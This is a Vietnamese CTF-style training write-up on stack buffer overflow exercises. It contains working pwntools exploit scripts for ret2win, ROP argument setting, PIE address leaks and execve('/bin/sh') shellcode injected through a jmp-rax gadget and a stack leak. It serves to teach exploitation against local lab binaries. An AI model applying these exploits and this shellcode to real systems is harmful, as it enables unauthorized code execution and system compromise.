---
# System prepended metadata

title: pwn training

---

# pwn training

## 1.bof1

Sử dụng IDA64 để mở file:
```c=
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-30h] BYREF
  __int64 v5; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  __int64 v7; // [rsp+20h] [rbp-10h]
  int v8; // [rsp+2Ch] [rbp-4h]

  v8 = 0;
  v7 = 0LL;
  v6 = 0LL;
  v5 = 0LL;
  init(argc, argv, envp);
  printf("> ");
  v8 = read(0, buf, 0x30uLL);
  if ( buf[v8 - 1] == 10 )
    buf[v8 - 1] = 0;
  printf("a = %ld\n", v7);
  printf("b = %ld\n", v6);
  printf("c = %ld\n", v5);
  if ( v7 && v6 && v5 )
    system("/bin/sh");
  return 0;
}
```
Có thể thấy ở dòng 15, v8 được đọc với tối đa là 0x30 bytes (tức 48 bytes), trong khi biến buf khởi tạo chỉ có 16 bytes. vậy ta có thể sử dụng 32 bytes còn lại để lợi dụng để làm bufferoverflow.

Biến v5, v6, v7 được khởi tạo là `__int64`, nên sẽ có 8 bytes mỗi biến. Vậy tổng số bytes của 3 biến trên và biến `buf[16]` là `16 + 8*3 = 40 bytes`, vẫn nằm trong khoảng 48 bytes read => chúng ta có thể làm thay đổi cả 3 biến để thoả mãn `( v7 && v6 && v5 )`.

#### Payload:
Để can thiệp vào giá trị v5,6,7 ta chỉ cần cho input đầu vào là 40 bytes (Các biến đó sẽ được lưu trữ sau địa chỉ của buf[16]).

Xác thực các địa chỉ của các biến trên, ta có thể dùng `x/xg <address>` để tìm kiểm tra sau khi đã gán các biến đó cho 0x00

![image](https://hackmd.io/_uploads/rk_ONqTnp.png)


Python:
```python
>>> 'A' * 40
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
```

gef:
```bash
gef➤  pattern create 40 
[+] Generating a pattern of 40 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaa
```


Sử dụng 40 bytes input, và chúng ta vào được shell
![image](https://hackmd.io/_uploads/HJrSUPa3a.png)

## 2.bof2

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-30h] BYREF
  __int64 v5; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  __int64 v7; // [rsp+20h] [rbp-10h]
  int v8; // [rsp+2Ch] [rbp-4h]

  v8 = 0;
  v7 = 0LL;
  v6 = 0LL;
  v5 = 0LL;
  init(argc, argv, envp);
  printf("> ");
  v8 = read(0, buf, 0x30uLL);
  if ( buf[v8 - 1] == 10 )
    buf[v8 - 1] = 0;
  printf("a = %ld\n", v7);
  printf("b = %ld\n", v6);
  printf("c = %ld\n", v5);
  if ( v7 == 322376503 && v6 == 3735928559LL && v5 == 3405691582LL )
    system("/bin/sh");
  return 0;
}
```
Tương tự bài 1, `buf[16]` ở `[rsp+0h] [rbp-30h]`, chiếm 16 bytes đầu, v567 lần lượt 8 bytes liên tục tiếp theo.

Lần này chương trình sẽ kiểm tra `v7 = 322376503 (0x13371337)`, `v6 = 3735928559LL (0xDEADBEEF)` và `v5 = 3405691582 (0xCAFEBABE)`.

#### payload:

Ta chỉ cần fill 16 bytes đầu, và rồi ghép payload vào. Nhưng các giá trị trên ko thể nhập bằng phím (ko phải kí tự printable) nên ta dùng thư viện pwn trong python:

```python=
>>> p = process("./bof2")
[x] Starting local process './bof2'
[+] Starting local process './bof2': pid 275
>>> payload = b'A' * 16
>>> payload += p64(0xCAFEBABE)
>>> payload += p64(0xDEADBEEF)
>>> payload += p64(0x13371337)
# Vì các biến v567 là 64bit nên ta dùng hàm p64() để đưa nó về 64bit
>>> p.sendline(payload)
# p.send(payload)
# p.sendafter(b'> ', payload)
>>> p.interactive()
```
result:
```bash
[*] Switching to interactive mode
> a = 322376503
b = 3735928559
c = 3405691582
ls
bof1  bof2  bof2.id0  bof2.id1  bof2.id2  bof2.nam  bof2.til
```
#### Debug:

```python=
from pwn import *

p = process("./bof2")
input()
payload = b'A' * 16
payload += p64(0xCAFEBABE)
payload += p64(0xDEADBEEF)
payload += p64(0x13371)

p.sendafter(b'> ', payload)
p.interactive()
```

```bash=
┌──(root㉿sech)-[/mnt/c/Users/sech/S/pwn/bufoverflow]
└─# python3 solve2.py
[+] Starting local process './bof2': pid 380
```
Trong gdb, sử dụng `attach 380` để debug file `boif2` đó. (hoặc sử dụng gdb -p \<pid> trong shell)

Disassembler:
![image](https://hackmd.io/_uploads/SkTG13phT.png)

Ta đặt breakpoint sau hàm read (địa chỉ 0x0000000000401239) trong gdb:
```bash
gef➤  b*0x0000000000401239
Breakpoint 1 at 0x401239
gef➤  c
Continuing.
```
Chuyển qua tab python, enter để chạy qua hàm `input()`
![image](https://hackmd.io/_uploads/SJ34kha3T.png)

Hai thanh ghi stack đầu đã có 8 bytes 'A' ở mỗi thanh, và 3 thanh tiếp theo đã có các giá trị cần cần có để so sánh. Dùng lệnh `ni` để đi tiếp và kiểm tra:
![image](https://hackmd.io/_uploads/rJqUeh6ha.png)
![image](https://hackmd.io/_uploads/HyEdx3a2a.png)
![image](https://hackmd.io/_uploads/ryGYlh62T.png)


## 3.winner1



**Main:**
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[128]; // [rsp+0h] [rbp-80h] BYREF

  setup(argc, argv, envp);
  puts("No gifts for you this time, but.. still easy");
  printf("input: ");
  gets(v4);
  return 0;
}
```

**win:**
```c
int win()
{
  FILE *v0; // rax
  char v2; // [rsp+7h] [rbp-9h]
  FILE *stream; // [rsp+8h] [rbp-8h]

  v0 = fopen("./flag.txt", "r");
  stream = v0;
  if ( v0 )
  {
    while ( 1 )
    {
      v2 = getc(stream);
      if ( v2 == -1 )
        break;
      putchar(v2);
    }
    LODWORD(v0) = fclose(stream);
  }
  return (int)v0;
}
```
Trong hàm main ta thấy có hàm gets *(hàm này có thể input số lượng kí tự bất kì)* và `char v4[128]`. Ta có thể input string dài 150 vào để có thể biết nó sẽ tràn đến đâu.

### *Cách 1*:

```python
gef➤  pattern create 150
[+] Generating a pattern of 150 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
[+] Saved as '$_gef0'
```
![image](https://hackmd.io/_uploads/BkmjQ-y6T.png)

Ta có thể thấy thanh ghi `%rsp` đã bị tràn bởi kí `raaa...`, sử dụng pattern search:

```python
gef➤  pattern search 0x00007fffffffdb58
[+] Searching for '7261616161616161'/'6161616161616172' with period=8
[+] Found at offset 136 (little-endian search) likely
```
=> offset từ địa chỉ input cho đến return là 136.

Tìm hàm *win()*:
![image](https://hackmd.io/_uploads/SktVEbyaa.png)

Vậy payload của ta cần là `'A' * 136 + p64(0x40127b)`

```python3=
from pwn import *


context.binary = exe = ELF('./winner1', checksec=False)
p = process(exe.path)

payload = b'A' * 136 + p64(0x40127b)

p.sendlineafter(b'input: ', payload)
p.interactive()
```

Do ko có file flag.txt nên mình tạo tạm :v

result:
![image](https://hackmd.io/_uploads/H1dhVWJ66.png)

### *Cách 2*:

Sử dụng cách debug động, đặt input() để tạo điểm dừng trong python trước khi payload:
```python=
from pwn import *
context.binary = exe = ELF('./winner1', checksec=False)
p = process(exe.path)

input()
payload = cyclic(0x200)

p.sendlineafter(b'input: ', payload)
p.interactive()
```
![image](https://hackmd.io/_uploads/rkYD8bJ66.png)

Ở terminal khác, dùng `gdb -p <pid>` rồi đạt breakpoint ở hàm `gets()`:
![image](https://hackmd.io/_uploads/SJxA8ZJ66.png)

Chạy tiếp script python:
![image](https://hackmd.io/_uploads/HJzUdWyTa.png)

Có thể thấy thanh `$rsp`đã bị kí tự `jaab...` đè lên, nên nó bị break ở đó vì đó là địa chỉ ko hợp lệ.

Ta có thể sử dụng `cyclic_find()` để tìm offset của pattern `jaab` dựa trên chuỗi của cyclic:
```python=
from pwn import *
context.binary = exe = ELF('./winner1', checksec=False)
p = process(exe.path)
payload = b'A' * cyclic_find(b'jaab') + p64(0x40127b)
p.sendlineafter(b'input: ', payload)
p.interactive()
```

## 4.winner2
```c=
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[112]; // [rsp+0h] [rbp-70h] BYREF

  setup(argc, argv, envp);
  puts("I'm sure you can solve this too!!");
  puts("give me your input: ");
  gets(v4);
  return 0;
}
```
```c
void __fastcall win(__int64 a1, int a2)
{
  char v2; // [rsp+17h] [rbp-9h]
  FILE *stream; // [rsp+18h] [rbp-8h]

  if ( a2 == -160256510 )
  {
    stream = fopen("./flag.txt", "r");
    if ( stream )
    {
      while ( 1 )
      {
        v2 = getc(stream);
        if ( v2 == -1 )
          break;
        putchar(v2);
      }
      fclose(stream);
    }
  }
}
```
Bài này thì hàm win có thêm một điều kiện là `arg2 == -160256510 (0xF672AE02)`

Tìm offset:
```python=
from pwn import *
context.binary = exe = ELF('./winner1', checksec=False)
p = process(exe.path)

payload = b'A' * cyclic_find('jaab')

input()
p.sendline(payload)

p.interactive()
```
![image](https://hackmd.io/_uploads/HJ-aCQJ6a.png)

=> offset = `cyclic_find('faab')`

*Thông tin về args trong các thanh ghi:*
![image](https://hackmd.io/_uploads/BJflYGyT6.png)

Tiếp theo là thay đổi arg2 sử dụng `ROPgadget`.

![image](https://hackmd.io/_uploads/SySSKMyp6.png)

Sử dụng địa chỉ đó để thêm payload đưa lên stack.
```python
payload += p64(0x0000000000401371)
```

Vậy khi return, địa chỉ stack đó sẽ thực hiện `pop rsi; pop r15`. Nó sẽ pop từng giá trị trên stack vào thanh ghi tương ứng, như trên thì thanh ghi trên cùng của stack sẽ được pop vào `rsi`, thanh tiếp theo được pop vào `r15`.

Vậy sau đó ta cần thêm vào payload lần lượt là giá trị của arg2, một giá trị bất kì để đưa lên thanh `r15` và cuối cùng là địa chỉ hàm `win()`.

```python=
from pwn import *
context.binary = exe = ELF('./winner2', checksec=False)
p = process(exe.path)

payload = b'A' * cyclic_find('faab')
payload += p64(0x0000000000401371)
payload += p64(0xF672AE02)
payload += p64(0xDEADBEEF)
payload += p64(0x000000000040125b)
p.sendline(payload)

p.interactive()
```
![image](https://hackmd.io/_uploads/BJ8AJ4y6p.png)

## 5.ezwinner

Checksec:
![image](https://hackmd.io/_uploads/Hy9WQLyap.png)

PIE enable nghĩa là chương trình sẽ dùng địa chỉ động mỗi lần chạy, vậy ta phải tìm địa chỉ của hàm `win()` mỗi lần chạy.

```c=
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[64]; // [rsp+0h] [rbp-40h] BYREF

  setup(argc, argv, envp);
  puts("Hello there, care for some easy pwn?");
  printf("Here is a gift, use it wisely: %p", win);
  printf("\ninput: ");
  gets(v4);
  return 0;
}
```
Trong code, mỗi lần chạy thì địa chỉ hàm win lại được in ra một lần, ta có thể sử dụng `recvuntil()` và `recvline()`:
```python
p.recvuntil('use it wisely: ')
address = p.recvline(False)
```

Debug chương trình bằng gdb, sử dụng `pattern create` và `pattern search` để tìm offset của `$rsp`:
![image](https://hackmd.io/_uploads/Hkn0qLyTT.png)

```python=
from pwn import *
context.binary = exe = ELF('./ezwinner', checksec=False)
p = process(exe.path)

p.recvuntil('use it wisely: ')
address = p.recvline(False)
payload = b'A' * 72 + p64(int(address, 16))
p.sendline(payload)
p.interactive()
```

![image](https://hackmd.io/_uploads/H1z_oLkaa.png)

## 6.bof5
Check file:
![image](https://hackmd.io/_uploads/BJsHw1wap.png)
Checksec:
![image](https://hackmd.io/_uploads/BkGlY1vpT.png)

Code:
![image](https://hackmd.io/_uploads/HJNLc1vp6.png)

![image](https://hackmd.io/_uploads/rkdzLkvaT.png)

Có thể thấy biến `v4` có 80 byte, và hàm read trong hàm run cũng đọc đủ 80 byte (0x50 bytes) nên không có lỗi.

Biến `v2` chứa 524 byte, hàm read nhận 544 byte. -> một lỗi bufferoverflow

Tạo một pattern dài 544 byte và input sau "What do you want for christmas?":
![image](https://hackmd.io/_uploads/Skd0iJDpa.png)

**Phân tích**

Vậy là 8 byte cuối của rsp đã bị overwrite bằng pattern kia.

Và cũng có thể thấy thanh ghi `$rax` có chứa `lun4r`, là giá trị sau khi input "What's your name?".

=> Ta có thể cho thanh `$rax` trỏ đến shellcode, rồi buffer overflow để thanh `$rsp` thực hiện `$rax` và chiếm được shell.

**Build Shellcode:**

Shellcode:
```py
shell = asm(
'''
mov rax, 0x3b
mov rdi, 29400045130965551
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
''', arch='amd64'
)
```
Giải thích:
```asm
mov rax, 0x3b
```
=> lệnh `execve` của syscall 64bit, với ARG0 (\$rdi) là \*filename, ARG1 (\$rsi) là \*argv và ARG2 (\$rdx) là \*envp 
```asm
mov rdi, 29400045130965551
push rdi
```
=> `29400045130965551`là shell (64bit intenger), lấy bằng cách sử dụng `u64(b'/bin/sh\0')` (`\0` để hàm `u64` nhận đủ 8 byte)
=> Đẩy `$rdi` vào stack
```asm
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
```
=> ARG0 là rdi, lấy địa chỉ của con trỏ đến file từ `$rsp`
=> set ARG1 và ARG2 thành null
=> thực hiện syscall

Sử dụng `pattern search raaaaaac` ta được offset của `$rsp` là 536.

Vì input đầu tiên của ta nằm ở `$rax` nên ta dùng ROPgadget để tìm gadget call vào `$rax` hoặc jump vào `$rax`:
![image](https://hackmd.io/_uploads/B1slIxv66.png)

Tóm lại các bước làm bài này là: input shellcode vào hàm read đầu (sẽ nằm ở `$rax`), rồi overflow để `$rsp` thực hiện gadget mà call/jump vào `$rax`.

Script:
```python=
from pwn import *
context.binary = exe = ELF('./bof5', checksec=False)
p = process(exe.path)

shell = asm(
'''
mov rax, 0x3b
mov rdi, 29400045130965551
push rdi

mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
''', arch='amd64'
)
p.sendafter(b'> ', shell)

payload = b'A' * 536 + p64(0x0000000000401014)
p.sendafter(b'> ', payload)

p.interactive()
```

## 7.bof6
![image](https://hackmd.io/_uploads/SygAClw6T.png)

=> stack thực thi được

![image](https://hackmd.io/_uploads/H19RRgD6p.png)
![image](https://hackmd.io/_uploads/SyLKeWPpT.png)
![image](https://hackmd.io/_uploads/H1bIDWPp6.png)

Ở hàm `get_wish`, ta thấy biến buff có 512 byte, trong khi read lại được 544 byte => lỗi bufferoverflowl

Một trường hợp đặc biệt ở hàm `read` là nó sẽ ko tự nhập byte null (`\0`) nên khi ta input một string, nếu nó được nối với string khác thì khi in ra, nó sẽ có thể in ra nối theo string kế => lỗi leak được dữ liệu.

Hướng làm: đưa shellcode vào stack, leak địa chỉ stack ra và thực thi stack đó.

### 1.Leak stack address

![image](https://hackmd.io/_uploads/Hku_pWDap.png)

Vì input string sẽ được nối chuỗi, nên nếu ta input đủ 0x50 byte như trên, ta có thể nối luôn được cả địa chỉ `$rbp` và print ra.

```python
from pwn import *

context.binary = exe = ELF('./bof6', checksec=False)
p = process(exe.path)

input()
p.sendlineafter(b'> ', b'1')

p.sendafter(b'> ', b'A'*0x50) # leak địa chỉ rbp

```
![image](https://hackmd.io/_uploads/rJSg9-D66.png)

Có thể thấy các byte ngẫu nhiên `\xe0z\xd6:\xfdI ` ở phần print (các byte`e0 7a  d6 3a fd 7f` ở debug)

Tìm địa chỉ stack:
```python
stack_leak = u64(p.recv(6) + b'\x00\x00') # u64 phải nhận 6 bytes -> thêm 2 byte null
print(f"{hex(stack_leak)}")
```
shellcode:
```py
shell = asm(
'''
mov rax, 0x3b
mov rdi, 29400045130965551
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
''', arch='amd64'
)
```
input thử 544 byte:
![image](https://hackmd.io/_uploads/SJHAQMwpa.png)
![image](https://hackmd.io/_uploads/rkfkNzP6T.png)

tìm ra được offset 536 
update script:

```python
payload = shell
payload = payload.ljust(536)
p.sendlineafter(b'> ', b'2')
p.sendafter(b'> ', payload)
```
sau khi input:
![image](https://hackmd.io/_uploads/Hy5_IMD66.png)

kiểm tra `$rsp, $rsi` bằng `x/10i`:
![image](https://hackmd.io/_uploads/HJCcUGDpT.png)
và đó là shellcode của ta

Lúc này stack sẽ trỏ đến địa chỉ shellcode, nên để call được địa chỉ stack thì ta trừ địa chỉ stack leak cho địa chỉ của shellcode, ra được offset

![image](https://hackmd.io/_uploads/SJtGwfva6.png)

update code:
```python
payload += p64(stack_leak - 0x220)
```

chạy thử lại để check:
![image](https://hackmd.io/_uploads/SJL9DfD66.png)

ở đây thì địa chỉ stack trỏ tới shellcode (0x00007ffc7811f4c8) đã bị vượt quá 16 bytes, nên ta sẽ trừ 16 bytes để rsp có thể exec stack đó:
```python
payload.ljust(536) 
-> payload.ljust(536 - 16)
```

![image](https://hackmd.io/_uploads/ByEGOGDaT.png)

